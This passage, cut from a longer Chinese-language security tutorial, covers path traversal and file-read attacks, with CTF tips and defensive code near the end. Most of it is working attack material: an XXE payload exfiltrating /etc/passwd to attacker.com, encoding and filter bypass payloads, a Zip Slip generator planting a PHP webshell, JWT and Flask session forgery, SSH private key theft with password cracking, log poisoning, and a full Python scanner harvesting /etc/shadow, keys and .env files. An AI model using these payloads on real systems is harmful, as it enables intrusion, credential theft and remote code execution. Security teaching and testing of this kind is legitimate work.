  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

<!-- evil.dtd 内容(放在攻击者服务器)-->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

5.5 二进制文件读取

# 某些场景需要读取二进制文件(如 SQLite 数据库、Python pyc 文件)

# 方法一:Base64 编码传输
?file=php://filter/convert.base64-encode/resource=/path/to/database.sqlite

# 方法二:Hex 编码
?file=php://filter/convert.base64-encode/resource=/path/to/file.pyc

# 方法三:Python 脚本解析
import requests, base64

def read_binary(url, param, filepath):
    payload = f"php://filter/convert.base64-encode/resource={filepath}"
    r = requests.get(url, params={param: payload})
    data = base64.b64decode(r.text.strip() + '==')
    return data

# 读取 SQLite 数据库
db_data = read_binary("http://target.com/", "file", "/var/www/html/database.sqlite")
with open("stolen.sqlite", "wb") as f:
    f.write(db_data)

# 在本地分析
import sqlite3
conn = sqlite3.connect("stolen.sqlite")
tables = conn.execute("SELECT name FROM sqlite_master WHERE type='table'").fetchall()
print("Tables:", tables)

6、绕过技巧

6.1 路径编码绕过

6.1.1 URL 编码(百分号编码)

# 基础 URL 编码
../          →  %2e%2e%2f
..\          →  %2e%2e%5c
/            →  %2f
\            →  %5c
.            →  %2e

# 只编码关键部分
..%2f        →  ../  (只编码斜杠)
%2e./        →  ../  (只编码第一个点)
.%2e/        →  ../  (只编码第二个点)
%2e%2e/      →  ../  (只编码两个点)

# 完整路径编码示例
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd  →  ../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd               →  ../../../etc/passwd

6.1.2 双重 URL 编码

# 某些 WAF/中间件只解码一次,双重编码后只解码第一层,规则未触发
# 但应用会再解码一次,最终执行穿越

/    →  %2f  →  %252f    (/ → %2f → %252f)
.    →  %2e  →  %252e    (. → %2e → %252e)
..   →  %2e%2e → %252e%252e

# 双重编码完整示例
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
# WAF 解码一次:%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd → 不匹配 ../
# 应用解码一次:../../../etc/passwd → 路径穿越成功 ✅

# 更多变种
..%25%32%66  →  ..%2f → ../  (2f 的每个字符分别编码)
%252e%252e/  →  %2e%2e/ → ../

6.1.3 Unicode / UTF-8 编码绕过

# 非标准 UTF-8 编码(某些服务器/中间件接受)
../  →  ..%c0%af     (超长 UTF-8 编码的 /)
..\  →  ..%c1%9c     (超长 UTF-8 编码的 \)
/    →  %c0%af       (0xC0 0xAF 解码为 /)
/    →  %e0%80%af    (三字节超长编码)
/    →  %f0%80%80%af (四字节超长编码)

# Unicode 全角字符
/    →  %ef%bc%8f   (全角斜杠 / U+FF0F)
.    →  %ef%bc%8e   (全角句点 . U+FF0E)
\    →  %ef%bc%bc   (全角反斜杠 \ U+FF3C)

# 利用 Unicode 规范化(NFKC/NFC)
# 某些服务器会对 Unicode 做规范化处理
../etc/passwd   →  ../etc/passwd  (全角 → 半角)

6.1.4 其他编码方式

# HTML 实体编码(某些场景有效)
../  →  &#46;&#46;&#47;
.    →  &#x2E;
/    →  &#x2F;
/    →  &#47;

# 十六进制路径(某些语言/框架)
\x2e\x2e\x2f  →  ../
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64  →  /etc/passwd

# 八进制(Shell 命令注入场景)
$'\57'etc$'\57'passwd  →  /etc/passwd
$'\056\056\057'        →  ../

# Base64 编码路径(特定框架)
# 某些 API 接受 Base64 编码的路径参数
Li4vLi4vLi4vZXRjL3Bhc3N3ZA==  →  ../../../etc/passwd

6.2 路径变形绕过

6.2.1 str_replace 过滤绕过

// 目标过滤代码
$file = str_replace('../', '', $input);
$file = str_replace(['../', '..\\'], '', $input);
# 嵌套绕过(删除 ../ 后剩余的字符串仍构成 ../)
....//          →  删除 ../ 后得到 ../
....\\          →  删除 ..\\ 后得到 ..\
....\/          →  删除 ..\ 后得到 ../(混合分隔符)
..././          →  删除 ./ 后得到 ../
....\./         →  删除 .\\ 后得到 ../

# 多级嵌套(针对递归删除不彻底的情况)
....//....//....//etc/passwd
..././..././..././etc/passwd

# 针对 str_replace 的多重嵌套(确保删除后仍剩余有效穿越串)
.....///.....///.....///etc/passwd  →  ....//....//....// → ../ 穿越

6.2.2 正则过滤绕过

// 目标过滤代码
$file = preg_replace('/\.\.\//', '', $input);           // 过滤 ../
$file = preg_replace('/[\.]{2,}[\/\\\\]/', '', $input); // 过滤 ../ 或 ..\
# 正则非递归时的嵌套绕过
....//         →  preg_replace 删除第一个 ../  →  剩余 ../

# 大小写绕过(正则无 i 修饰符,Windows 路径)
..\            →  在 Windows 上等价于 ../

# 混合分隔符
../            →  正斜杠(Linux)
..\            →  反斜杠(Windows)
..\/           →  混合(某些服务器接受)
../\           →  混合
..\/ ..\\ =/  →  混合变种

6.2.3 路径标准化特性利用

# 多余的路径分隔符
////etc////passwd        →  /etc/passwd(连续斜杠被合并)
/etc//passwd             →  /etc/passwd
//etc/passwd             →  /etc/passwd
./etc/./passwd           →  /etc/passwd(当前目录引用被消除)
/var/www/html/../../etc/passwd  →  /etc/passwd

# 路径末尾点和斜杠
/etc/passwd/.            →  /etc/passwd(末尾 /. 被消除)
/etc/passwd/./           →  /etc/passwd
/etc/./passwd            →  /etc/passwd(中间 ./ 被消除)

# Windows 特有
C:\Windows\.\system32\drivers\etc\hosts  →  C:\Windows\system32\drivers\etc\hosts
C:\Windows\\system32\drivers\etc\hosts   →  同上(双反斜杠合并)

# 利用 realpath 与预期不符
# 某些代码先检查路径再 realpath,如果顺序有问题可绕过

6.2.4 截断技巧

# 空字节截断(PHP < 5.3.4)
?file=../../../etc/passwd%00.php
?file=../../../etc/passwd%00.jpg
# 应用以为读取 .php/.jpg 文件,实际读取 /etc/passwd

# 问号截断(某些 URL 解析差异)
?file=../../../etc/passwd?.php
?file=../../../etc/passwd?a=b

# 井号截断(URL 片段,某些服务器不传递)
?file=../../../etc/passwd#.php

# 路径长度截断(Linux PATH_MAX = 4096)
# 路径总长超过 4096 字节时,某些实现会截断
?file=../../../etc/passwd/ + "a" * 4000 + ".php"
# 某些 PHP 版本会因路径过长截断后缀

6.3 协议与函数替换绕过

6.3.1 PHP 伪协议绕过

# 当 file_get_contents / include 等函数过滤了 ../ 时
# 使用 PHP 伪协议直接指定目标(无需路径穿越)

# php://filter 读取源码
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=/var/www/html/config.php

# 绕过对 php:// 的过滤
?file=PHP://filter/...          大小写
?file=php%3a%2f%2f...           URL 编码
?file=php:%2f%2f...             部分编码

# data:// 直接执行代码(当 allow_url_include=On)
?file=data://text/plain,<?php system('id'); ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

# file:// 直接读取
?file=file:///etc/passwd
?file=file://localhost/etc/passwd

# expect:// 直接执行命令(需安装 expect 扩展)
?file=expect://id

6.3.2 绕过对特定函数的限制

// 目标:readfile() 被过滤,但其他函数可用

// file_get_contents 替代
echo file_get_contents($path);

// SplFileObject 替代
$obj = new SplFileObject($path);
while (!$obj->eof()) echo $obj->fgets();

// fopen + fread 替代
$fh = fopen($path, 'r');
echo fread($fh, filesize($path));
fclose($fh);

// include/require 用于读取(同时执行 PHP 代码)
include $path;

// highlight_file 显示 PHP 源码
highlight_file($path);
show_source($path);

// glob 枚举文件
print_r(glob('/etc/p*'));       // 列举 /etc/ 下 p 开头的文件

// 利用类
$x = new DirectoryIterator('/');
foreach ($x as $f) echo $f->getFilename() . "\n";

6.3.3 不同场景的协议利用

# Java / Spring 场景
file:///etc/passwd
file:/etc/passwd
jar:file:///etc/passwd!/
netdoc:///etc/passwd           # 某些 Java 版本

# Node.js 场景
file:///etc/passwd             # 通过 URL 模块
require('/etc/passwd')          # 尝试加载(会失败,但可能触发文件读取)

# Python urllib 场景
file:///etc/passwd
file://localhost/etc/passwd

# ASP.NET / IIS
file:///C:/Windows/win.ini
\\127.0.0.1\c$\Windows\win.ini  # UNC 路径(内网)

# Ruby
File.read(path)
IO.read(path)
open(path)                     # open 在 Ruby 中调用 shell(若以 | 开头)

6.4 操作系统特性绕过

6.4.1 Linux 特性利用

# 软链接(Symlink)绕过
# 若上传目录或可写目录允许软链接,创建指向目标文件的链接
ln -s /etc/passwd /var/www/html/uploads/passwd.txt
# 访问 http://target.com/uploads/passwd.txt → 读取 /etc/passwd

# /proc/self/root 绕过(某些 chroot 逃逸)
/proc/self/root/etc/passwd      →  等价于 /etc/passwd
/proc/self/root/proc/self/root/etc/passwd  →  嵌套多层

# 通配符路径(glob 函数场景)
/etc/p*sswd          →  匹配 /etc/passwd
/etc/passw?          →  匹配 /etc/passwd
/e?c/pas?wd          →  匹配 /etc/passwd
/???/passwd          →  匹配 /etc/passwd(? 匹配单字符)
/[e]tc/passwd        →  字符类匹配

# 硬链接(Hard Link)
find / -samefile /etc/passwd 2>/dev/null  # 查找硬链接
# 某些文件可能有硬链接在可访问目录

# 大写路径(某些文件系统配置不区分大小写)
/ETC/PASSWD          →  /etc/passwd(不区分大小写的文件系统)

6.4.2 Windows 特性利用

# 短文件名(8.3 格式)
C:\Program Files\  →  C:\PROGRA~1\
C:\Windows\System32\  →  C:\WINDOWS\SYSTEM32\(不区分大小写)
C:\inetpub\wwwroot\web.config  →  C:\INETPUB~1\WWWROOT\WEB.CON~1

# 等价路径表示
C:\Windows\system32\drivers\etc\hosts
C:\Windows\SYSTEM32\DRIVERS\ETC\HOSTS   大小写不敏感
C:\Windows\.\system32\.\drivers\etc\hosts   插入 .

# NTFS 交换数据流(ADS)
C:\Windows\win.ini::$DATA    →  读取主流(等价于直接读取)
C:\secret.txt::$DATA

# UNC 路径(网络路径,某些场景用于绕过)
\\127.0.0.1\C$\Windows\win.ini
\\localhost\c$\windows\win.ini
\\?\C:\Windows\win.ini          (扩展路径语法,跳过某些路径处理)
\\.\C:\Windows\win.ini           (设备路径)

# 设备名(DOS 设备命名空间)
\\.\CON   \\.\NUL   \\.\COM1   (特殊设备)

6.4.3 中间件特性利用

# Java URL 编码特性
# Java 的 URL 解码可能在某些版本上不一致
%c0%ae  →  .  (超长 UTF-8)
%c0%af  →  /  (超长 UTF-8)

# Tomcat 路径解析
/..;/   →  ../  (Tomcat 特殊解析,用于 URL 跳转绕过)
/;param/  →  /  (参数注入绕过)

# Nginx 路径规范化
//etc/passwd  →  /etc/passwd  (双斜杠)
/%2e%2e/etc/passwd  →  /../etc/passwd  (编码点)

# Apache mod_rewrite 绕过
/files/%2e%2e/etc/passwd  →  某些配置不解码 URL 中的 %2e
/files/..%2fother  →  绕过某些 RewriteRule

# PHP open_basedir 绕过技巧(CTF 场景)
# 利用 glob:// 枚举文件(不受 open_basedir 限制)
glob:///etc/p*            →  枚举 /etc/ 下文件
glob:///v?r/log/*.log     →  枚举日志文件

# 利用 SplFileObject 绕过某些检测
$x = new SplFileInfo('/etc/passwd');
echo $x->openFile()->fread(1000);

7、各类应用中的利用场景

7.1 下载/查看功能

# 常见参数名(可能存在路径穿越)
?file=
?filename=
?path=
?filepath=
?name=
?doc=
?document=
?load=
?read=
?page=
?include=
?template=
?view=
?module=
?img=
?image=
?resource=
?src=
?url=           # 可能触发 SSRF + 文件读取

# HTTP 请求示例
GET /download?file=report.pdf HTTP/1.1
GET /download?file=../../../../etc/passwd HTTP/1.1   ← 攻击

GET /viewer?path=images/photo.jpg HTTP/1.1
GET /viewer?path=../../../../etc/passwd HTTP/1.1     ← 攻击

# Cookie / Header 注入
Cookie: theme=dark
Cookie: theme=../../../../etc/passwd                 ← 攻击

# JSON Body
{"template": "default"}
{"template": "../../../../etc/passwd"}              ← 攻击

7.2 ZIP/归档解压漏洞(Zip Slip)

# ZIP Slip:归档文件中的文件名包含 ../,解压时覆盖任意文件

import zipfile, io

def create_zipslip(target_path, content):
    """
    创建包含路径穿越的恶意 ZIP 文件
    target_path: 目标文件路径(含 ../)
    content: 写入的内容(WebShell)
    """
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as z:
        # 添加正常文件(避免空 ZIP 报错)
        z.writestr('normal.txt', 'normal content')
        # 添加恶意路径文件
        z.writestr(target_path, content)
    return buf.getvalue()

# 生成恶意 ZIP
shell_code = '<?php system($_GET["cmd"]); ?>'
target = '../../../../var/www/html/shell.php'

evil_zip = create_zipslip(target, shell_code)
with open('evil.zip', 'wb') as f:
    f.write(evil_zip)

print(f"Generated evil.zip, target: {target}")
print("Upload and trigger extraction → check /shell.php?cmd=id")

# Java Zip Slip 同样存在
# 解压时未规范化 entry.getName() 直接写入文件

7.3 文件名参数注入(Git/SVN 操作)

# 某些应用通过文件名调用 git/svn 命令
# 若文件名未转义,可以注入命令

# Git 操作参数注入
filename="--output /etc/passwd"       # git clone --output
filename="|id>/tmp/pwned"              # 管道注入

# 文件名中的特殊字符
filename="../.ssh/authorized_keys"     # 写入 SSH 公钥(需写权限)
filename="../../.htpasswd"             # 修改 Apache 认证

7.4 日志文件中的路径穿越

# 某些日志查看功能存在路径穿越
GET /admin/logs?file=app.log HTTP/1.1
GET /admin/logs?file=../../../../etc/passwd HTTP/1.1

# 日志目录限制可通过多级穿越绕过
/logs/ 目录深度 1,需要 ../ 逃出
?file=../../../etc/passwd

# 特定应用日志路径
?logfile=../../../../var/log/apache2/access.log   # 读取访问日志
?logfile=../../../../var/log/auth.log              # 读取认证日志

7.5 FFmpeg / ImageMagick 等工具的 SSRF + 文件读取

# FFmpeg HLS 播放列表读取本地文件
# 上传恶意 HLS 播放列表(m3u8)触发文件读取

# evil.m3u8 内容
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///etc/passwd
#EXT-X-ENDLIST

# ImageMagick 文件读取
# 上传含特殊指令的图片,触发 ImageMagick 处理时读取文件
# MSL (Magick Scripting Language) 注入

# SSRF → 文件读取
?url=http://127.0.0.1/internal-api
?url=file:///etc/passwd
?url=dict://127.0.0.1:6379/info   # Redis 未授权信息泄露

8、文件读取转 RCE

文件读取漏洞通常被认为是"只能泄露信息",但在以下场景可进一步利用实现 RCE:

8.1 读取密钥 → 伪造认证 → RCE

# 场景一:读取 JWT Secret → 伪造管理员 JWT
import jwt

# 读取 .env 获取 JWT Secret
secret = "读取到的JWT_SECRET_KEY"

# 伪造管理员 Token
payload = {"user_id": 1, "role": "admin", "is_admin": True}
forged_token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Forged JWT: {forged_token}")

# 使用伪造 Token 访问管理员接口
import requests
headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get("http://target.com/admin/rce", headers=headers)
# 场景二:读取 Flask SECRET_KEY → 伪造 Session
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

app = Flask(__name__)
app.secret_key = "读取到的SECRET_KEY"

# 伪造 Flask Session
with app.test_request_context():
    session_data = {"user": "admin", "is_admin": True}
    # 使用 itsdangerous 序列化
    signer = app.session_interface.get_signing_serializer(app)
    forged_session = signer.dumps(dict(session_data))
    print(f"Forged Session Cookie: session={forged_session}")

8.2 读取配置文件 → 数据库命令执行

# 步骤一:读取数据库配置
?file=../../../../var/www/html/config.php
# 获得:DB_HOST=127.0.0.1, DB_USER=root, DB_PASS=secret123, DB_NAME=app

# 步骤二(若 MySQL 有 FILE 权限)
# 通过 SQL 注入 + LOAD_FILE/INTO OUTFILE 读写文件
SELECT LOAD_FILE('/etc/passwd');
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

# 步骤三:通过 WebShell 执行命令

8.3 读取 SSH 私钥 → 直接 SSH 登录

# 步骤一:读取私钥
?file=../../../../root/.ssh/id_rsa
# 或
?file=../../../../home/www-data/.ssh/id_rsa

# 步骤二:保存私钥并修改权限
cat > stolen_key << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END RSA PRIVATE KEY-----
EOF
chmod 600 stolen_key

# 步骤三:直接 SSH 登录
ssh -i stolen_key root@target.com
ssh -i stolen_key www-data@target.com

# 若私钥有密码保护
ssh2john stolen_key > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

8.4 读取应用密钥 → 反序列化 RCE

# Laravel APP_KEY → 反序列化 RCE
# 步骤一:读取 .env 获取 APP_KEY
?file=../../../../var/www/html/.env
# APP_KEY=base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# 步骤二:使用 Laravel 反序列化利用工具
# phpggc 生成 Payload
# phpggc Laravel/RCE1 system id | base64

# 步骤三:使用 APP_KEY 签名 Payload,伪造 Cookie
# 工具:https://github.com/nth347/CVE-2021-3129_exploit

# ThinkPHP 缓存文件 RCE
# 读取缓存目录下的 .php 缓存文件
?file=../../../../runtime/cache/
# 若缓存文件中有可控内容,可写入 PHP 代码

8.5 读取日志 → 日志污染 → RCE

# 步骤一:将 PHP 代码写入 User-Agent(污染 Apache 日志)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/

# 步骤二:通过文件读取漏洞包含日志文件
?file=../../../../var/log/apache2/access.log&cmd=id

# 详见文件包含专题

8.6 读取 /proc/self/mem → 内存中的 PHP 代码

# 高级技巧:通过读取进程内存修改执行流程(CTF 场景)
# 读取 /proc/self/maps 获取内存布局
# 读取 /proc/self/mem 的特定偏移获取内存数据

# 通过 /proc/self/mem 写入(若有写权限 - 极少见)
# 可修改内存中的函数指针实现 RCE

9、自动化利用工具

9.1 ffuf / dirb 路径穿越 Fuzz

# 使用 ffuf 对文件读取参数进行 Fuzz
ffuf -u "http://target.com/download?file=FUZZ" \
     -w traversal_payloads.txt \
     -fc 404,403 \
     -fs 0 \
     -o results.json

# traversal_payloads.txt 内容
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
..%2fetc%2fpasswd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//etc/passwd
....//....//....//etc/passwd
php://filter/convert.base64-encode/resource=index.php
/etc/passwd
/etc/shadow
/proc/self/environ
/proc/self/cmdline

9.2 Burp Suite 自动化测试

# Burp Suite Intruder 配置

# 1. 截获包含文件参数的请求
# 2. 在 Intruder 中将 file 参数值标记为 Payload 位置
# 3. Payload 类型选择 "Simple list",导入 traversal_payloads.txt
# 4. 添加 Grep - Match 规则:root:、[boot loader]、for 16-bit(检测成功)
# 5. 过滤响应长度/状态码,识别有效 Payload

# Burp Active Scan 插件:Backslash Powered Scanner
# 可自动检测路径穿越漏洞

9.3 dotdotpwn 专用工具

# dotdotpwn:专门的路径穿越测试工具
dotdotpwn -m http -h target.com -u "http://target.com/download?file=TRAVERSAL" \
           -b -o unix

# 参数说明
# -m http    HTTP 模式
# -h         目标主机
# -u         URL(TRAVERSAL 为替换位置)
# -b         仅显示有效的结果
# -o unix    目标 OS(unix/windows/generic)

# 测试 FTP 路径穿越
dotdotpwn -m ftp -h target.com -U ftpuser -P ftppass -b

# 测试特定深度
dotdotpwn -m http-url -u "http://target.com/?file=TRAVERSAL" -d 10 -b

9.4 Python 自动化脚本

#!/usr/bin/env python3
"""
路径穿越自动化利用脚本
支持:
  - 自动探测参数
  - 多种绕过手法
  - 批量读取敏感文件
"""

import requests
import base64
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
import argparse

class PathTraversalScanner:
    def __init__(self, target_url, param, cookies=None, headers=None):
        self.url = target_url
        self.param = param
        self.session = requests.Session()
        if cookies:
            self.session.cookies.update(cookies)
        if headers:
            self.session.headers.update(headers)
        self.success_payloads = []

    # 路径穿越 Payload 列表
    TRAVERSAL_PATTERNS = [
        "{}",                     # 直接读取(绝对路径)
        "../../{}",
        "../../../{}",
        "../../../../{}",
        "../../../../../{}",
        "../../../../../../{}",
        "../../../../../../../../{}",
        "..%2f..%2f..%2f..%2f{}",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{}",
        "..%252f..%252f..%252f..%252f{}",
        "....//....//....//....//{}",
        "php://filter/convert.base64-encode/resource={}",  # PHP 源码读取
    ]

    # 敏感文件列表
    SENSITIVE_FILES = {
        "linux": [
            "/etc/passwd", "/etc/shadow", "/etc/hosts",
            "/proc/self/environ", "/proc/self/cmdline",
            "/proc/net/tcp", "/proc/version",
            "/root/.ssh/id_rsa", "/root/.bash_history",
            "/var/log/apache2/access.log",
            "/var/log/nginx/access.log",
        ],
        "web": [
            "index.php", "config.php", ".env", "wp-config.php",
            "../config.php", "../../.env",
        ],
        "windows": [
            "C:\\Windows\\win.ini",
            "C:\\Windows\\System32\\drivers\\etc\\hosts",
        ]
    }

    def check_success(self, response, filename):
        """判断是否成功读取文件"""
        indicators = {
            "/etc/passwd": "root:",
            "/etc/shadow": "root:",
            "/proc/self/environ": "HOME=",
            "/proc/self/cmdline": "",
            "win.ini": "[fonts]",
            "/proc/version": "Linux version",
        }
        for key, indicator in indicators.items():
            if key in filename and indicator in response.text:
                return True
        # 通用判断:响应有内容且不是错误页
        if len(response.text) > 100 and response.status_code == 200:
            return True
        return False

    def try_payload(self, pattern, target_file):
        """尝试单个 Payload"""
        payload = pattern.format(target_file)
        try:
            r = self.session.get(self.url, params={self.param: payload}, timeout=10)
            if self.check_success(r, target_file):
                # Base64 解码(针对 php://filter)
                content = r.text
                if "php://filter" in pattern:
                    try:
                        content = base64.b64decode(r.text.strip() + "==").decode("utf-8", errors="ignore")
                    except Exception:
                        pass
                return payload, content
        except Exception:
            pass
        return None, None

    def scan(self):
        """执行扫描"""
        print(f"[*] Scanning: {self.url}")
        print(f"[*] Parameter: {self.param}")

        # 测试每个敏感文件
        for category, files in self.SENSITIVE_FILES.items():
            print(f"\n[*] Testing {category} files...")
            for target_file in files:
                for pattern in self.TRAVERSAL_PATTERNS:
                    payload, content = self.try_payload(pattern, target_file)
                    if content:
                        print(f"\n[+] SUCCESS: {target_file}")
                        print(f"    Payload: {payload}")
                        print(f"    Content preview: {content[:200]}")
                        self.success_payloads.append({
                            "file": target_file,
                            "payload": payload,
                            "content": content
                        })
                        break  # 找到成功的就跳过其他 pattern

        return self.success_payloads

    def read_file(self, filepath, pattern=None):
        """读取指定文件"""
        if pattern is None:
            # 自动选择最佳 pattern(从成功的 payload 中推断)
            if self.success_payloads:
                pattern = self.success_payloads[0]["payload"].split(
                    self.success_payloads[0]["file"])[0] + "{}"
            else:
                pattern = "../../../../{}"

        payload, content = self.try_payload(pattern, filepath)
        return content

if __name__ == "__main__":
    # 示例使用
    scanner = PathTraversalScanner(
        target_url="http://target.com/download",
        param="file",
        cookies={"PHPSESSID": "your_session_id"}
    )
    results = scanner.scan()

    # 读取特定文件
    if results:
        env = scanner.read_file(".env")
        if env:
            print("\n[!] .env file contents:")
            print(env)

10、CTF 实战思路

10.1 快速判断流程

发现疑似文件读取参数(file/path/template/page/img/doc/name 等)
             ↓
Step 1:测试直接读取
  ?file=/etc/passwd             → 成功:无过滤,直接利用
  ?file=../../../../etc/passwd  → 成功:基础路径穿越
             ↓(失败)
Step 2:识别过滤类型
  ├── 报错包含路径   → 确认当前目录深度 → 精确构造 ../
  ├── 返回空白/报错  → 尝试绕过手法
  └── 总是返回固定内容 → 可能是白名单(尝试 php://filter)

Step 3:尝试绕过手法
  ├── URL 编码:%2e%2e%2f / ..%2f
  ├── 双重编码:%252e%252e%252f
  ├── 嵌套绕过:....//
  ├── 空字节:%00(PHP < 5.3.4)
  └── 伪协议:php://filter(不受 ../ 过滤影响)

Step 4:确定利用方向
  ├── 读取源码(php://filter)→ 审计发现新漏洞
  ├── 读取配置(.env / config.php)→ 提取密钥
  ├── 读取 /proc/self/environ → 提取环境变量中的 flag/密钥
  ├── 读取私钥(/root/.ssh/id_rsa)→ SSH 登录
  └── 读取日志 → 日志污染 → RCE

10.2 CTF 常见题目类型

题目特征 利用手法
直接文件读取(无过滤) ?file=/etc/passwd 直接读取
限制了目录前缀 ../../../../etc/passwd 路径穿越
过滤了 ../ 嵌套 ....// / URL 编码 ..%2f
白名单扩展名 .php php://filter/convert.base64-encode/resource=
要求读 PHP 源码不执行 php://filter/convert.base64-encode
找 flag 在环境变量 读取 /proc/self/environ
黑盒测试找配置文件 枚举常见路径 .env / config.php
open_basedir 限制 glob:// 枚举 / SplFileInfo 读取
include 函数 + 路径可控 PHP 伪协议 + 日志污染 → RCE

10.3 常用 flag 位置

# Linux CTF 常见 flag 路径
/flag
/flag.txt
/root/flag
/root/flag.txt
/root/flag.php
/home/ctf/flag
/tmp/flag
/var/www/html/flag.php
/proc/self/environ          # flag 有时在环境变量中:FLAG=ctf{...}
/proc/1/environ             # PID 1 的环境变量

# 数据库(需先读取配置)
mysql> SELECT * FROM flags;
SELECT * FROM flag;
SELECT * FROM secret;

# 配置文件中(有时直接硬编码)
/var/www/html/.env          # FLAG=ctf{...}
/var/www/html/config.php    # define('FLAG', 'ctf{...}');

10.4 /proc 文件系统速查(CTF 必备)

# CTF 中 /proc 最有价值的文件

# 1. 环境变量(可能含 flag)
/proc/self/environ       →  tr '\0' '\n' 解析

# 2. 当前进程命令行(含配置文件路径)
/proc/self/cmdline       →  tr '\0' ' ' 解析

# 3. 进程工作目录
/proc/self/cwd           →  软链接,ls 查看

# 4. 网络信息(内网发现)
/proc/net/tcp            →  Hex 解析获取开放端口

# 5. 内存映射(获取库路径)
/proc/self/maps          →  直接读取

# 6. 文件描述符(读取日志)
/proc/self/fd/3          →  枚举 0-20,找到日志等文件

11、防御措施

11.1 代码层面防御

<?php
/**
 * 安全的文件读取实现
 */

// ✅ 方法一:白名单验证(最推荐)
function safe_read_whitelist($file) {
    $allowed = [
        'report_2024.pdf',
        'manual.pdf',
        'template.docx',
    ];
    if (!in_array($file, $allowed)) {
        http_response_code(403);
        die('File not allowed');
    }
    return file_get_contents('/var/www/html/downloads/' . $file);
}

// ✅ 方法二:realpath 规范化 + 路径前缀验证
function safe_read_realpath($user_input) {
    $base_dir = realpath('/var/www/html/files/');
    if ($base_dir === false) die('Config error');

    // 规范化路径(解析 ../ 等)
    $real_path = realpath($base_dir . '/' . $user_input);

    // 关键:验证最终路径必须在允许目录内
    if ($real_path === false || strpos($real_path, $base_dir . '/') !== 0) {
        http_response_code(403);
        die('Access denied: path traversal detected');
    }

    return file_get_contents($real_path);
}

// ✅ 方法三:只允许文件名(不含路径分隔符)
function safe_read_filename_only($filename) {
    // 只允许文件名,不允许路径分隔符
    if (preg_match('/[\/\\\\]/', $filename) || strpos($filename, '..') !== false) {
        die('Invalid filename');
    }
    // 只允许字母、数字、下划线、横线、点
    if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
        die('Invalid characters in filename');
    }
    $file_path = '/var/www/html/files/' . $filename;
    if (!file_exists($file_path)) {
        die('File not found');
    }
    return file_get_contents($file_path);
}

// ✅ Python 安全读取
def safe_read_python(filename):
    import os
    BASE_DIR = os.path.abspath('/var/www/files')
    # 规范化用户输入路径
    requested_path = os.path.abspath(os.path.join(BASE_DIR, filename))
    # 验证最终路径必须在 BASE_DIR 内
    if not requested_path.startswith(BASE_DIR + os.sep):
        raise PermissionError("Path traversal detected")
    if not os.path.isfile(requested_path):
        raise FileNotFoundError("File not found")
    with open(requested_path, 'r') as f:
        return f.read()

// ✅ Java 安全读取(Spring Boot)
@GetMapping("/file")
public ResponseEntity<byte[]> safeGetFile(@RequestParam String filename) throws IOException {
    Path baseDir = Paths.get("/var/www/files").toRealPath();
    // 规范化路径并验证前缀
    Path filePath = baseDir.resolve(filename).normalize();
    if (!filePath.startsWith(baseDir)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    if (!Files.exists(filePath) || !Files.isRegularFile(filePath)) {
        return ResponseEntity.notFound().build();
    }
    return ResponseEntity.ok(Files.readAllBytes(filePath));
}

// ✅ Node.js 安全读取
const path = require('path');
const fs   = require('fs');

function safeReadFile(filename) {
    const BASE_DIR = path.resolve('/var/www/files');
    const filePath = path.resolve(BASE_DIR, filename);  // resolve 规范化
    // 验证路径不逃出 BASE_DIR
    if (!filePath.startsWith(BASE_DIR + path.sep)) {
        throw new Error('Path traversal detected');
    }
    return fs.readFileSync(filePath, 'utf8');
}

11.2 各常见错误与正确实践对比

❌ 错误写法 ✅ 正确写法 说明
file_get_contents($base . $_GET['f']) realpath() + 前缀校验 直接拼接无验证
str_replace('../', '', $f) realpath() 规范化 str_replace 可被嵌套绕过
if (strpos($f, '../') !== false) die() 白名单验证 编码后的 ../ 绕过
os.path.join(base, f) + 无验证 abspath() + startswith() join 遇绝对路径直通
显示详细错误信息 记录日志,返回通用错误 错误信息泄露路径

11.3 服务器与中间件配置

# Nginx 配置:禁止访问敏感文件
server {
    # 禁止访问 .env / .git / .htaccess 等
    location ~ /\. {
        deny all;
        return 404;
    }

    # 禁止访问备份文件
    location ~* \.(bak|backup|old|orig|original|php~|php\.bak|php\.old)$ {
        deny all;
        return 404;
    }

    # 限制只能访问特定扩展名
    location /downloads/ {
        if ($request_filename !~* \.(pdf|docx|xlsx|zip)$) {
            return 403;
        }
    }

    # 禁止访问 /proc、/etc 等目录(防止软链接攻击)
    location ~* ^/(proc|etc|var|root|home)/ {
        deny all;
        return 404;
    }
}
# Apache 配置
# 禁止访问敏感文件
<FilesMatch "^\.">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "\.(bak|backup|old|orig|log|sql|conf|ini)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# 禁止访问 .git 目录
